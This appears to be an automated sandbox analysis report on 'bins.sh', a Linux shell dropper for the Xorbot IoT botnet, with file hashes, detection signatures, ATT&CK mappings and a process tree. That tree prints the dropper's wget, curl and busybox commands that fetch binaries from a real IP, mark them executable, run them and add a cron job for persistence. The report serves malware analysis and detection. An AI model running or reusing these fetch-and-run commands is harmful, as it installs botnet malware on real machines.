xorbot | ae8f54b27e4ea23e62511aca57058db7f1508ef48b9db4d874a983dd57e39496

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
05/01/2025, 19:17

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General

Target

bins.sh
Size

10KB
MD5

e1c18218c4bce0c2a3dced659bbb5664
SHA1

902a9e76207c09235d03a5fe5f591c4de95fdefd
SHA256

ae8f54b27e4ea23e62511aca57058db7f1508ef48b9db4d874a983dd57e39496
SHA512

c312141105c2ae0b71020bb94acbc4fd0802560654fc5b4776fe7f338da1079c6fe35dda0cd5217d74505657ef6f2a9b8f618211da30ecd07fe459cd2aae284b
SSDEEP

192:TRrwd5rgFi2L9dJZASA+AMA5AZAuxtmd5rgFie9dTASA+AMA5AZAUr:TRrxxL9dJCdZ/iCuxtTL9dcdZ/iCUr

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2132) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1496	chmod
1503	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69	1497	cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69
/tmp/hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC	1504	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC

Renames itself 1 IoCs

pid	Process
1505	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.DC9ZEx	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1623/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1646/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1649/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1666/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/424/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1274/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1331/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/6/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/17/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/507/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1000/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1140/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1143/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1576/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1137/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1563/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1585/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/24/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/158/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1122/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1172/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1637/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1647/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1657/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/10/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/30/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/164/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1283/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1361/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1575/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1700/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/84/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/162/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/651/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1687/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1678/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/166/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1558/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1617/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1621/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1642/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1656/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1634/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/16/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/153/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/946/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1118/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1228/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1515/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1173/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1691/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/15/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/19/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1035/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1086/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1126/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1141/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1155/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1469/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1574/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1594/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1611/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/165/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
File opened for reading	/proc/1131/cmdline	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69	curl
File opened for modification	/tmp/cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69	busybox
File opened for modification	/tmp/hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC	wget
File opened for modification	/tmp/hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC	curl
File opened for modification	/tmp/hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC	busybox
File opened for modification	/tmp/cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1474
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1475
- /usr/bin/wget
  wget http://66.63.187.225/bins/cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69
  2⤵
  - Writes file to tmp directory
  PID:1476
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69
  2⤵
  - Writes file to tmp directory
  PID:1486
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69
  2⤵
  - Writes file to tmp directory
  PID:1492
- /bin/chmod
  chmod 777 cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69
  2⤵
  - File and Directory Permissions Modification
  PID:1496
- /tmp/cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69
  ./cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69
  2⤵
  - Executes dropped EXE
  PID:1497
- /bin/rm
  rm cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69
  2⤵
  PID:1499
- /usr/bin/wget
  wget http://66.63.187.225/bins/hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
  2⤵
  - Writes file to tmp directory
  PID:1500
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
  2⤵
  - Writes file to tmp directory
  PID:1501
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
  2⤵
  - Writes file to tmp directory
  PID:1502
- /bin/chmod
  chmod 777 hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
  2⤵
  - File and Directory Permissions Modification
  PID:1503
- /tmp/hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
  ./hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1504
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1506
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1507
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1508
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1509
- /bin/rm
  rm hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
  2⤵
  PID:1511
- /usr/bin/wget
  wget http://66.63.187.225/bins/2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
  2⤵
  PID:1514

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.DC9ZEx

Filesize
210B

MD5
7d3fa6a09afae4f3ad039e3a784e8375

SHA1
d15c43e2fd56ef4807f9a09a08adb6b5d44ed2d6

SHA256
9b36201ac7e9472828dda1c26b3d5e98d06bff64bf3851f616605c69d0f7e582

SHA512
29a40fa789329d90177d327f306119d3a65421fb23d93ba16e5785890710b404c631929df073f497857dc26ed48f09409c2d8cdf0c42693e348e8ddb82980eb8

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads